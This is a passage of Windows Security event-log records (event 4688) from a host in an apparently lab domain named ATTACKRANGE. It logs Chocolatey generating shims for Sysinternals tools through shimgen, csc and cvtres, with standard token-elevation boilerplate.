0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsInfo64.exe" --output="C:\ProgramData\chocolatey\bin\PsInfo64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsInfo64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246733 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb80 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfb0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF3B1.tmp" "c:\ProgramData\chocolatey\bin\CSC830992FD7CE345A280295135B0A1417.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246732 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8d0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfb0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246731 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc0c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsInfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123420_0676\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246730 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\System32\sppsvc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\sppsvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246775 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaec - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x990 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246774 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x990 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psloglist64.exe" --output="C:\ProgramData\chocolatey\bin\psloglist64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psloglist64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246773 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x484 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xea0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFA87.tmp" "c:\ProgramData\chocolatey\bin\CSC48D0E7E01C9B48A7A96B4347E034B1B1.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246772 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xea0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246771 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x44c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psloglist.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_8176\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246770 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa68 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x44c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246769 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x44c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psloglist.exe" --output="C:\ProgramData\chocolatey\bin\psloglist.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psloglist.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246768 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb08 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF9AD.tmp" "c:\ProgramData\chocolatey\bin\CSC7241E4201F34BA7B25F4E442DB1E9FB.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246767 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb04 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246766 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsLoggedon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123421_5832\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246765 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5dc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246764 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsLoggedon64.exe" --output="C:\ProgramData\chocolatey\bin\PsLoggedon64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsLoggedon64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246763 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe08 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF8D2.tmp" "c:\ProgramData\chocolatey\bin\CSC5F2069E568AF4FB2B26FDB5A91DF5E3.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative 